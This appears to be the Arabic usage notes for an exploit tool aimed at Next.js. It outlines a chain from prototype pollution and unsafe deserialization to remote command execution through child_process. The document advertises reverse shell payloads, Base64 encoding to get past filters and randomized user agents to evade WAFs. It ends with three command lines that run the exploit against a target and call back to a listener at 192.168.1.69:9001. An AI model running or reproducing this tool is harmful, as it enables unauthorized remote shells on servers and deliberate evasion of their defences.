1) تلوث النموذج الأولي في تحليل الطلبات: لا تقوم nextjs بتنقية الكائنات بشكل صحيح مما يسمح بتلوث سلسلة النموذج الأولي

2) إزالة التسلسل غير الآمن: يسمح الإطار لكائنات JSON بتعديل النماذج الأولية للكائن الأساسي

3) تنفيذ الأكواد عن بعد عبر child_process: من خلال تلويث سلسلة النموذج الأولي، بمجرد تلويث النموذج الأولي، يمكننا اختطاف المنطق وجعل الخادم ينفذ أوامر

npm create [email protected] vuln

1) حمولات شل عكسية: شل عكسية لينكس/ويندوز
2) ترميز Base64 للتسلل عبر المرشحات
3) اكتشاف نظام التشغيل تلقائياً
4) وكيل مستخدم عشوائي لتفادي جدران الحماية (WAFs)
5) حلقات إعادة محاولة في حالة الفشل مع تأخير تصاعدي
6) تعدد الخيوط لمحاولات استغلال متزامنة لزيادة الموثوقية

python exp_v2.py target 192.168.1.69 9001 --base64

python exploit.py target 192.168.1.69 9001 --retries 5 --threads 3

python exploit.py target.com 192.168.1.69 9001 --no-spoof